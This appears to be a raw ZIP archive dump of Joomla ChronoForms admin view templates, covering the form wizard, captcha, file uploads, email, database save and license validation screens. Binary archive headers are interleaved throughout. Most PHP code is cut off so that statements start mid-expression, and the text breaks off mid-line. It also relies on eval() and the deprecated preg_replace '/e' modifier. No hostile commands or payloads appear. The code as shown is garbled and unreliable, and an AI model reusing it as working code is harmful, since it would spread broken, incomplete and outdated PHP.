      PK@y>\+components/com_chronoforms/views/index.htmlnuW+APK@y>\)*components/com_chronoforms/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\֐8components/com_chronoforms/views/easy_wizard_captcha.phpnuW+A startPane('captcha'); ?> startPanel('Captcha Settings', 'captcha_'.$i); ?> input('chronoaction['.$i.'][action_check_captcha_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "You must have a 'Captcha input' under the preview tab in order for this to work.")); ?> input('chronoaction['.$i.'][action_check_captcha_'.$i.'_error]', array('type' => 'text', 'label' => 'Error Message', 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'check_captcha')); ?> input('chronoaction['.$i.'][action_load_captcha_'.$i.'_fonts]', array('type' => 'select', 'label' => "Use True Type Fonts", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'True type fonts is better looking but it depends on the GD library config at your server, most users can enable this safely.')); ?> input('chronoaction['.$i.'][action_load_captcha_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'load_captcha')); ?> endPanel(); ?> endPane(); ?> PK@y>\~zc3components/com_chronoforms/views/install_action.phpnuW+A
      Choose your .zip action installer file:  
      PK@y>\CLTP=components/com_chronoforms/views/easy_wizard_upload_files.phpnuW+A startPane('upload_files'); ?> startPanel('Uploads Settings', 'upload_files_'.$i); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_files]', array('type' => 'text', 'label' => "Files", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'Config string, e.g: field1:jpg-png-gif,field2:zip-rar,field3:doc-docx-pdf')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_max_size]', array('type' => 'text', 'label' => "Max Size in KB", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_min_size]', array('type' => 'text', 'label' => "Min Size in KB", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_max_error]', array('type' => 'text', 'label' => "Max Size Error", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_min_error]', array('type' => 'text', 'label' => "Min Size Error", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_type_error]', array('type' => 'text', 'label' => "File type Error", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'upload_files')); ?> endPanel(); ?> endPane(); ?>PK@y>\w w 4components/com_chronoforms/views/validatelicense.phpnuW+A root(), $matches); $domain = $matches[2]; ?>
      (.*?)<\/version>/i', $xml_content, $matches); if(isset($matches[1])){ $version = $matches[1]; }else{ $version = 'NOT FOUND!'; } ?>
      Element Value
      Domain
      Subscription
      Validation key get('licensecode', '')){ echo $params->get('licensecode', ''); } ?>
      Instant key
      (Usually not necessary)
      Version
      PK@y>\eRo``0components/com_chronoforms/views/form_wizard.phpnuW+A params); } if(isset($_GET['wizard_mode']) && $_GET['wizard_mode'] == 'easy'){ $wizard_mode = 'easy'; }else if(isset($_GET['wizard_mode']) && $_GET['wizard_mode'] == 'advanced'){ $wizard_mode = 'advanced'; }else if($form && $form_params->get('form_mode', 'advanced') == 'easy'){ $wizard_mode = 'easy'; }else{ $wizard_mode = 'advanced'; } $uri = JFactory::getURI(); $jversion = new JVersion(); ?>
      Header(array('elements' => 'Elements')); }else{ echo $DragTabsHelper->Header(array('elements' => 'Elements', 'actions' => 'Actions')); } ?>
      tabStart('elements'); ?>
      Basic Elements
      $form_element){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_elements'.DS.$form_element.'.php'); $elementclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'chrono_forms_'.$form_element); if(class_exists($elementclassname)){ $elementclass = new $elementclassname; if(isset($elementclass->advanced) && $elementclass->advanced === true){ $adv_elements[] = $form_element; } } } ?> $form_element): ?> load(true); }else{ $element_params = array(); } if(!empty($element_params)){ $element_params = $element_params['element_params']; } if(isset($elementclass->advanced) && $elementclass->advanced === true){ //$adv_elements[] = $form_element; continue; }else{ $counter++; //unset($form_elements[$k]); } ?> = (count($form_elements) - count($adv_elements))/2): $counter = -(count($form_elements) - count($adv_elements)); ?>
      Advanced Elements
      $form_element): ?> load(true); }else{ $element_params = array(); } $counter++; if(!empty($element_params)){ $element_params = $element_params['element_params']; } ?> = count($adv_elements)/2): $counter = -count($adv_elements); ?>
      Widgets
      $form_widget): ?> load(true); }else{ $element_params = array(); } if(!empty($element_params)){ $element_params = $element_params['element_params']; } $counter++; ?>
      tabEnd(); ?> tabStart('actions'); ?>
      Core Actions
      load(true); if(isset($actionclass->group) && !empty($actionclass->group)){ $actions_groups[$actionclass->group['id']][$form_action] = $action_params; $actions_titles[$actionclass->group['id']] = $actionclass->group['title']; $counter++; //add the details list if(isset($actionclass->details) && !empty($actionclass->details)){ $actions_details[$form_action] = $actionclass->details; }else{ $actions_details[$form_action] = array(); } continue; } }else{ $action_params = array(); } if(!empty($action_params)){ $action_params = $action_params['action_params']; } $counter++; ?> $actions_drag_output): ?> = count($actions_drag_outputs)/2): $set = true; ?>
      $form_actions): ?>
      $action_params): ?> = count($form_actions)/2): $counter = -count($form_actions); ?>
      tabEnd(); ?>
      Header(array('preview' => 'Preview', 'emails' => 'Emails', 'thanks' => 'Thanks Message', 'uploads' => 'Files Uploads', /*'code' => 'Code',*/ 'captcha' => 'Captcha', 'db' => 'Store Data', 'other' => 'Others', 'settings' => 'Form Settings')); }else{ echo $DropTabsHelper->Header(array('preview' => 'Preview', 'events' => 'Events', 'settings' => 'Form Settings', 'legend' => 'Legend')); } ?>
      tabStart('preview'); ?>
      form_type == 1): ?> wizardcode)): ?> '.'wizardcode.'; ?>'); //print_r2($wizardcode); $containers_outputs = array(0 => ''); ?> $formdata_element): ?> load(true); }else{ $element_params = array(); } $counter++; if(!empty($element_params)){ $element_params = $element_params['element_params']; } foreach($formdata_element as $k => $v){ $element_params[str_replace($field_header.'_', '', $k)] = $v; } $filename = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_elements'.DS.$form_element.'.ctp'; $handle = fopen($filename, 'rb'); $element_data = fread($handle, filesize($filename)); fclose($handle); }elseif(file_exists(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_widgets'.DS.$formdata_element['widget'].DS.'input_'.$formdata_element['widget'].'.php')){ $form_element = $formdata_element['widget']; $field_header = $formdata_element['tag'].'_'.$formdata_element['widget'].'_'.str_replace('field_', '', $formdata_key); require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_widgets'.DS.$form_element.DS.'input_'.$form_element.'.php'); $elementclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'chrono_forms_input_'.$form_element); if(class_exists($elementclassname)){ $elementclass = new $elementclassname; $element_params = $elementclass->load(true); }else{ $element_params = array(); } $counter++; if(!empty($element_params)){ $element_params = $element_params['element_params']; } foreach($formdata_element as $k => $v){ $element_params[str_replace($field_header.'_', '', $k)] = $v; } $filename = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_widgets'.DS.$form_element.DS.'input_'.$form_element.'.ctp'; $handle = fopen($filename, 'rb'); $element_data = fread($handle, filesize($filename)); fclose($handle); $form_element = $formdata_element['tag'].'_'.$formdata_element['widget']; }else{ continue; } $pattern_input = '/
      ]*?)>(.*?)<\/div>/is'; preg_match_all($pattern_input, $element_data, $matches); //find the field index $field_index = str_replace('field_', '', $formdata_key); if($field_index > $max_field_index){ $max_field_index = $field_index; } //prepare the element code $element_code = $matches[0][0]; $element_code = str_replace('element_code', $form_element.'_element_view wizard_element preview_element', $element_code); $element_code = preg_replace('/(\'|")'.$form_element.'_element(\'|")/', '"'.$form_element.'_element_'.$field_index.'"', $element_code); $element_code = str_replace('{n}', $field_index, $element_code); //prepare element params before the eval /*$element_params = array(); foreach($field_data as $field_data_key => $field_data_value){ $clean_key = str_replace($field_data['tag'].'_'.$field_data['type'].'_'.$field_index.'_', '', $field_data_key); $element_params[$clean_key] = (is_array($field_data_value) ? implode('', $field_data_value) : $field_data_value); }*/ //render element ob_start(); eval('?>'.$element_code); $element_output = ob_get_clean(); $element_container_id = isset($formdata_element['container_id']) ? (int)$formdata_element['container_id'] : 0; if(isset($containers_outputs[$element_container_id])){ $containers_outputs[$element_container_id] .= $element_output; }else{ $containers_outputs[$element_container_id] = $element_output; } ?> 1){ $containers_ids = array_keys($containers_outputs); for($i = count($containers_outputs) - 1; $i >= 1; $i--){ $containers_outputs[$containers_ids[$i - 1]] = str_replace('', $containers_outputs[$containers_ids[$i]], $containers_outputs[$containers_ids[$i - 1]]); } }*/ //echo getContainerOutput($containers_outputs[0], $containers_outputs);//original loop $containers = buildContainersArray($wizardcode); echo buildContaintersOutput($containers_outputs, $containers); ?>

      Your form type is "Custom" and so you can NOT add/edit the form fields (code) in the wizard, any fields you add here now will NOT be saved.

      tabEnd(); ?> tabStart('events'); ?>
      events_actions_map) && !empty($form->events_actions_map)){ $eventscode = unserialize(base64_decode($form->events_actions_map)); $actionsarray = array(); if(isset($formactions) && !empty($formactions)){ foreach($formactions as $action_index => $action_data){ $actionsarray['cfaction_'.$action_data->type.'_'.$action_data->order] = $action_data; if($action_data->order > $max_action_index){ $max_action_index = $action_data->order + 1; } } } } ?>
      events_actions_map) && !empty($eventscode['events']['load'])){ echo _processActions($eventscode['events']['load']['actions'], $actionsarray); } ?>
      events_actions_map) && !empty($eventscode['events']['submit'])){ echo _processActions($eventscode['events']['submit']['actions'], $actionsarray); } ?>
      $new_event_val): ?>
      remove events_actions_map) && !empty($eventscode['events'][$new_event])){ echo _processActions($eventscode['events'][$new_event]['actions'], $actionsarray); } ?>
      Add Event
      tabEnd(); ?> tabStart('settings'); ?> params); }else{ $params = new JParameter(''); } ?> input('chronoform_name', array('type' => 'text', 'id' => 'chronoform_name', 'class' => 'medium_input', 'label' => 'Form name', 'smalldesc' => 'Unique form name without spaces or any special characters, underscores _ or dashes -', 'value' => (!empty($form)) ? $form->name : '')); ?> input('chronoform_published', array('type' => 'select', 'label' => 'Published', 'options' => array(0 => 'No', 1 => 'Yes'), 'selected' => (!empty($form)) ? $form->published : 1)); ?> input('form_type', array('type' => 'hidden', 'value' => (!empty($form)) ? $form->form_type : 1)); ?> input('params[tight_layout]', array('type' => 'select', 'label' => 'Tight Layout', 'value' => $params->get('tight_layout', 0), 'options' => array(0 => 'Normal', 1 => 'Tight'), 'default' => 0, 'smalldesc' => 'Should the form load the regular CSS or load a tight CSS (less spaced out, smaller fields and less padding..etc) ?')); ?> tabEnd(); ?> tabStart('legend'); ?> tabEnd(); ?> tabStart('emails'); ?>
      '#1'), array('action_label' => '#2'), array('action_label' => '#3'))); ?> $formaction){ $order = $formaction->order; $formaction = (array)$formaction; if(!empty($formaction)){ $data_params = $formaction['params']; unset($formaction['params']); $formaction = array_merge($data_params, $formaction); foreach($formaction as $k => $v){ $easy_actions_data['chronoaction'][$order]['action_'.$formaction['type'].'_'.$order.'_'.$k] = $v; } } } }else{ $easy_wizard_actions = array( 10 => 'email', 11 => 'email', 12 => 'email', 14 => 'show_thanks_message', 6 => 'upload_files', 2 => 'load_captcha', 4 => 'check_captcha', 9 => 'db_save', 0 => 'load_js', 1 => 'load_css', 8 => 'custom_code', 13 => 'custom_code', ); foreach($easy_wizard_actions as $order => $easy_wizard_action){ $default_action_params = loadActionParams($easy_wizard_action); foreach($default_action_params as $k => $v){ if($k == 'enabled'){ $v = 0; } $easy_actions_data['chronoaction'][$order]['action_'.$easy_wizard_action.'_'.$order.'_'.$k] = $v; } } } //print_r2($easy_actions_data); $HtmlHelper->data = $easy_actions_data; $HtmlHelper->advanced_data = true; ?>
      tabEnd(); ?> tabStart('thanks'); ?>
      tabEnd(); ?> tabStart('uploads'); ?>
      0))); ?>
      tabEnd(); ?> tabStart('code'); ?>
      'Before Email(s)'), array('action_label' => 'After Email(s)'))); ?>
      tabEnd();*/ ?> tabStart('captcha'); ?>
      0))); ?>
      tabEnd(); ?> tabStart('db'); ?>
      0))); ?>
      tabEnd(); ?> tabStart('other'); ?>
      tabEnd(); ?>
      edit sort remove
      $loadActionData){ $actionOutput = ''; if(!empty($loadActionData) && is_array($loadActionData)){ if(isset($loadActionData['events']) && !empty($loadActionData['events'])){ foreach($loadActionData['events'] as $eventk => $eventv){ if(!empty($eventv) && is_array($eventv) && isset($eventv['actions']) && !empty($eventv['actions'])){ $eventOutput = _processActions($eventv['actions'], $actionsarray); $actionEvents[$eventk] = $eventOutput; }else{ continue; } } } $actionOutput = loadActionFile($actionsarray[$loadAction], $actionsarray[$loadAction]->order); foreach($actionEvents as $eventName => $eventOutput){ $pattern_input = '/
      ]*?)>(.*?)<\/div>/is'; preg_match_all($pattern_input, $actionOutput, $matches); if(isset($matches[0][0])){ $rawEventOutput = $matches[0][0]; $newEventOutput = str_replace('
      ', $eventOutput.'
      ', $rawEventOutput); $actionOutput = str_replace($rawEventOutput, $newEventOutput, $actionOutput); }else{ } } $output .= $actionOutput; }else{ $output .= loadActionFile($actionsarray[$loadAction], $actionsarray[$loadAction]->order); } } return $output; } function loadActionFile($action_data, $action_index){ //load basic params $action_params = array(); $action_file1 = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action_data->type.DS.$action_data->type.'.php'; if(file_exists($action_file1)){ require_once($action_file1); $actionclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'cfaction_'.$action_data->type); if(class_exists($actionclassname)){ $actionclass = new $actionclassname; $action_params = $actionclass->load(true); } } //load elements files $filename = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action_data->type.DS.$action_data->type.'.ctp'; if(file_exists($filename)){ $handle = fopen($filename, 'rb'); $element_data = fread($handle, filesize($filename)); fclose($handle); //$pattern_input = '/
      ]*?)>(.*?)<\/div>/is'; $pattern_input = '/(.*?)/is'; preg_match_all($pattern_input, $element_data, $matches); //prepare the lement code $element_code = $matches[0][0]; $element_code = str_replace(array('', ''), '', $element_code); $element_code = str_replace('element_code', 'cfaction_'.$action_data->type.'_element_view wizard_element', $element_code); $element_code = preg_replace('/(\'|")'.'cfaction_'.$action_data->type.'_element(\'|")/', '"'.'cfaction_'.$action_data->type.'_element_'.$action_index.'"', $element_code); $element_code = str_replace('{n}', $action_index, $element_code); //prepare element params before the eval if(!is_array($action_data->params)){ $aparams = new JParameter($action_data->params); $params = $aparams->toArray(); $action_data->params = array(); foreach($params as $kp => $param){ $action_data->params[$kp] = $param; } } $action_params = array_merge($action_params['action_params'], get_object_vars($action_data), $action_data->params); //render element ob_start(); eval('?>'.$element_code); $output = ob_get_clean(); return $output; } } //functions for easy mode /*function _loadActionsList($action_name, $formactions, $start = 0, $order = array(), $settings = array()){ if(!is_array($action_name)){ $action_name = array($action_name); } foreach($action_name as $k => $action){ $i = $order[$k];//$k + $start; if(isset($formactions[$i]) && $formactions[$i]->type == $action){ echo loadActionFile($formactions[$i], $formactions[$i]->order); }else{ $object = new stdClass(); $object->type = $action; $object->params = ''; if(isset($settings[$k]) && !empty($settings[$k])){ foreach($settings[$k] as $ks => $setting){ $object->$ks = $setting; } } echo loadActionFile($object, $order[$k]); } unset($formactions[$i]); } return $formactions;// = array_values($formactions); }*/ //original loop function function getContainerOutput($outer, $all, $key = 0){ static $counter; $counter++; if(isset($counter) AND $counter > 2000)return $outer; unset($all[$key]); $containers_ids = array_keys($all); foreach($containers_ids as $id){ $container_output = getContainerOutput($all[$id], $all, $id); $outer = str_replace('', $container_output, $outer); } return $outer; } function buildContainersArray($wizcode) { $arr = array(); foreach ($wizcode as $key => $element){ $tmp = explode("_",$key); $fieldid = intval($tmp[1]); $contid = empty($element['container_id']) ? 0 : intval($element['container_id']); if($contid != $fieldid){ if(!isset($arr[$contid]))$arr[$contid] = array(); $arr[$contid][] = $fieldid; } } return $arr; } function buildContaintersOutput(&$containers_outputs, &$childs, $id=0) { if (isset($childs[$id])) { foreach ($childs[$id] as $child) { $containers_outputs[$child] = buildContaintersOutput($containers_outputs, $childs, $child); $containers_outputs[$id] = str_replace('', $containers_outputs[$child], $containers_outputs[$id]); } } if(isset($containers_outputs[$id])){ return $containers_outputs[$id]; }else{ return ''; } } function loadActionParams($action_name){ //load basic params $action_params = array(); $action_file1 = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action_name.DS.$action_name.'.php'; if(file_exists($action_file1)){ require_once($action_file1); $actionclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'cfaction_'.$action_name); if(class_exists($actionclassname)){ $actionclass = new $actionclassname; $action_params = $actionclass->load(true); } } return $action_params = $action_params['action_params'];//array_merge($action_params['action_params'], get_object_vars($action_data), $action_data->params); } ?>PK@y>\Ri2components/com_chronoforms/views/restore_forms.phpnuW+A
      Choose your .cf4bak form file:  
      PK@y>\ñk8components/com_chronoforms/views/easy_wizard_db_save.phpnuW+A startPane('db_save'); ?> startPanel('DB Connection', 'db_save_'.$i); ?> input('chronoaction['.$i.'][action_db_save_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('chronoaction['.$i.'][action_db_save_'.$i.'_table_name]', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The database table where the form data will be stored.
      if you didn't create a table for your form yet then you can do this in the Forms Manager.")); ?> input('chronoaction['.$i.'][action_db_save_'.$i.'_save_under_modelid]', array('type' => 'hidden', 'value' => 0)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'db_save')); ?> endPanel(); ?> endPane(); ?> PK@y>\;o::7components/com_chronoforms/views/easy_wizard_emails.phpnuW+A RELEASE > 1.5): ?> startPane('emails'); $email_c = 1; ?> startPanel('Email '.$email_c, 'emails_email_'.$i); ?> input('chronoaction['.$i.'][action_email_'.$i.'_enabled]', array('type' => 'select', 'label' => "Enabled", 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('chronoaction['.$i.'][action_email_'.$i.'_to]', array('type' => 'text', 'label' => "To *", 'class' => 'medium_input', 'smalldesc' => 'List of recipient(s) email address(es) separated by comma,e.g: me@domain.com OR x@dom.com,z@dom.com')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_subject]', array('type' => 'text', 'label' => "Subject *", 'class' => 'medium_input', 'smalldesc' => 'Email subject.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_fromname]', array('type' => 'text', 'label' => "From name *", 'default' => $mainframe->getCfg('fromname'), 'class' => 'medium_input', 'smalldesc' => 'The name of sender.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_fromemail]', array('type' => 'text', 'label' => "From email *", 'default' => $mainframe->getCfg('mailfrom'), 'class' => 'medium_input', 'smalldesc' => 'The email address of the sender.')); ?>
      input('chronoaction['.$i.'][action_email_'.$i.'_content1]', array('type' => 'textarea', 'label' => "Email template", 'class' => 'mce_editor', 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.')); ?> display('chronoaction['.$i.'][action_email_'.$i.'_content1]', '', 600, 400, 30, 85, 1); ?> input('chronoaction['.$i.'][action_email_'.$i.'_attachments]', array('type' => 'text', 'label' => "Attachments fields name", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'Fields to be attached to this email message, find fields names inside the fields settings box.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_recordip]', array('type' => 'select', 'label' => "Include IP address", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => '')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_dto]', array('type' => 'text', 'label' => "Dynamic To", 'class' => 'medium_input', 'smalldesc' => 'A field name holding an email address to which the email will be sent.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_dreplytoname]', array('type' => 'text', 'label' => "Dynamic Reply to name", 'class' => 'medium_input', 'smalldesc' => 'A field name holding a string which should appear when the email receiver hits the reply button.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_dreplytoemail]', array('type' => 'text', 'label' => "Dynamic Reply to email", 'class' => 'medium_input', 'smalldesc' => 'A field name holding an email address which should be used when the email receiver hits the reply button.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_replace_nulls]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'email')); ?> endPanel(); ?> endPane(); ?>PK@y>\hee6components/com_chronoforms/views/easy_wizard_other.phpnuW+A startPane('other'); ?> startPanel('Tools', 'tools'); ?> input('chronoaction['.$i.'][action_debugger_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enable Debug', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Show debug report after form submission.')); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'debugger')); ?> endPanel(); ?> startPanel('Redirect', 'redirect'); ?> input('chronoaction['.$i.'][action_redirect_user_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enable Redirect', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('chronoaction['.$i.'][action_redirect_user_'.$i.'_target_url]', array('type' => 'text', 'label' => "Target URL", 'class' => 'big_input', 'smalldesc' => 'The URL to which the user will be redirected after submitting the form.')); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'redirect_user')); ?> endPanel(); ?> startPanel('JS/CSS Settings', 'js_css'); ?> input('chronoaction['.$i.'][action_load_js_'.$i.'_content1]', array('type' => 'textarea', 'label' => "JavaScript Code", 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'No script tags.')); ?> input('chronoaction['.$i.'][action_load_js_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'load_js')); ?> input('chronoaction['.$i.'][action_load_css_'.$i.'_content1]', array('type' => 'textarea', 'label' => "CSS Code", 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'No style tags.')); ?> input('chronoaction['.$i.'][action_load_css_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'load_css')); ?> endPanel(); ?> startPanel('Custom PHP code', 'custom_php'); ?> input('chronoaction['.$i.'][action_custom_code_'.$i.'_content1]', array('type' => 'textarea', 'label' => "Before Emails Code", 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'a chunk of PHP code which will be executed before your emails are sent.')); ?> input('chronoaction['.$i.'][action_custom_code_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'custom_code')); ?> input('chronoaction['.$i.'][action_custom_code_'.$i.'_content1]', array('type' => 'textarea', 'label' => "After Emails Code", 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'a chunk of PHP code which will be executed after your emails have been sent.')); ?> input('chronoaction['.$i.'][action_custom_code_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'custom_code')); ?> endPanel(); ?> endPane(); ?> PK@y>\5zO//,components/com_chronoforms/views/updates.phpnuW+A
      Database updates
      Apply all the latest Chronoforms Database updates:
      PK@y>\oo*components/com_chronoforms/views/index.phpnuW+Aroot(), $matches); $domain = $matches[2]; $jversion = new JVersion(); ?> Your ChronoForms install at is NOT Validated, No limited features but for a small fee you get link free forms and help us continue the development and support
      getUserStateFromRequest('com_chronoforms.app', 'select_app', '', 'string'); ?>
      Forms App:  
      params); ?>
      # Form ID Name Wizard Link Tables Connected Admin processor Published
      id; ?> name; ?> Wizard edit Frontend view form_actions)){ foreach($form->form_actions as $action){ if($action->type == 'db_save' || $action->type == 'db_record_loader' || $action->type == 'db_multi_record_loader'){ $action_params = new JParameter($action->params); $table_name = $action_params->get('table_name', ''); if(!empty($table_name)){ $tables[] = $table_name; } } } } $tables = array_unique($tables); ?> get('adminview_actions', ''); if(!empty($adminview_actions)): $adminview_actions = explode(",", $adminview_actions); foreach($adminview_actions as $adminview_action): $action_pieces = explode(":", $adminview_action); ?>    RELEASE > 1.5){ $image_path = $uri->base().'templates/'.$mainframe->getTemplate().'/images/admin/'; }else{ $image_path = 'images/'; } ?> published == 1): ?> Published Unpublished
      getListFooter(); ?>
      PK@y>\p[+components/com_chronoforms/views/legend.phpnuW+A
      Symbol Meaning
      remove Delete the element.
      remove Show the element settings box.
      remove Drag to sort the element order.
      remove Draggable item.
      PK@y>\?##1components/com_chronoforms/views/create_table.phpnuW+A $default_data){ if((int)preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $default) == 0){ $wrong_inputs[] = $default; JError::raiseWarning(200, 'Field name "'.$default.'" is invalid, please fix the field name in the wizard (or the form code) then retry again.'); } } if(!empty($wrong_inputs)){ JError::raiseNotice(200, 'A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores.'); } ?>
      input('_cf_table_name', array('label' => 'Table Name', 'value' => '#__chronoforms_data_'.str_replace("-", "_", $row->name), 'class' => 'medium_input', 'smalldesc' => 'Enter the table name here, no spaces or any special characters, underscores allowed.')); ?> $default_data): ?>
      # Field name Enabled Type Length Primary key Default Extra Null
      onclick="isChecked(this.checked);" /> />
      PK@y>\jV?V?)components/com_chronoforms/views/edit.phpnuW+A data = $form; $params = new JParameter(''); if(!empty($form)){ $params = new JParameter($form->params); } $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."helpers".DS."tabs_helper.php"); $TabsHelper = new TabsHelper(); $jversion = new JVersion(); ?>

      name; }else{ echo 'New Form...'; } ?>

      Header(array('general' => 'General', 'code' => 'Code', 'jsval' => 'JS Validation', 'admin_actions' => 'Admin actions', 'apps' => 'Form Applications', 'data_view' => 'Data View')); ?> tabStart('general'); ?> input('name', array('type' => 'text', 'id' => 'chronoform_name', 'label' => 'Form name', 'class' => 'medium_input', 'smalldesc' => 'Unique form name without spaces or any special characters, underscores _ or dashes -')); ?> input('published', array('type' => 'select', 'label' => 'Published', 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1)); ?> input('params[form_mode]', array('type' => 'select', 'label' => 'Form Wizard Mode', 'value' => $params->get('form_mode', 'advanced'), 'options' => array('advanced' => 'Advanced (Default)', 'easy' => 'Easy'), 'default' => 'advanced', 'smalldesc' => 'Choose your form wizard mode, the advanced mode is the default one, you will have all the Chronoforms V4 tools enabled in the wizard, the Easy mode is easier to use though and is enough to build strong simple forms.')); ?> input('params[form_method]', array('type' => 'select', 'label' => 'Form method', 'value' => $params->get('form_method', 'post'), 'options' => array('post' => 'Post', 'get' => 'Get', 'file' => 'File'), 'default' => 'post', 'smalldesc' => 'Choose your form method, File is ncessary to get file uploads working.')); ?> input('params[auto_detect_settings]', array('type' => 'select', 'label' => 'Auto Detect Settings', 'value' => $params->get('auto_detect_settings', 1), 'options' => array(0 => 'No', 1 => 'Yes (Advised)'), 'default' => 1, 'smalldesc' => 'Should the form detect some settings and apply them automatically ? settings like validtaion and files uploading will be detected based on your form code.')); ?> input('params[load_files]', array('type' => 'select', 'label' => 'Load Chronoforms files', 'value' => $params->get('load_files', 1), 'options' => array(0 => 'Disable completely', 1 => 'Load necessary files', 2 => 'Load ALL files!'), 'default' => 1)); ?> input('params[tight_layout]', array('type' => 'select', 'label' => 'Tight Layout', 'value' => $params->get('tight_layout', 0), 'options' => array(0 => 'Normal', 1 => 'Tight'), 'default' => 0, 'smalldesc' => 'Should the form load the regular CSS or load a tight CSS (less spaced out, smaller fields and less padding..etc) ?')); ?> input('params[action_url]', array('type' => 'text', 'label' => 'Submit URL', 'class' => 'big_input', 'value' => $params->get('action_url', ''), 'smalldesc' => 'Adding a submit URL will disable all the form "on submit" event functions.')); ?> input('params[form_tag_attach]', array('type' => 'text', 'label' => 'Form tag attachment', 'class' => 'big_input', 'value' => htmlspecialchars($params->get('form_tag_attach', 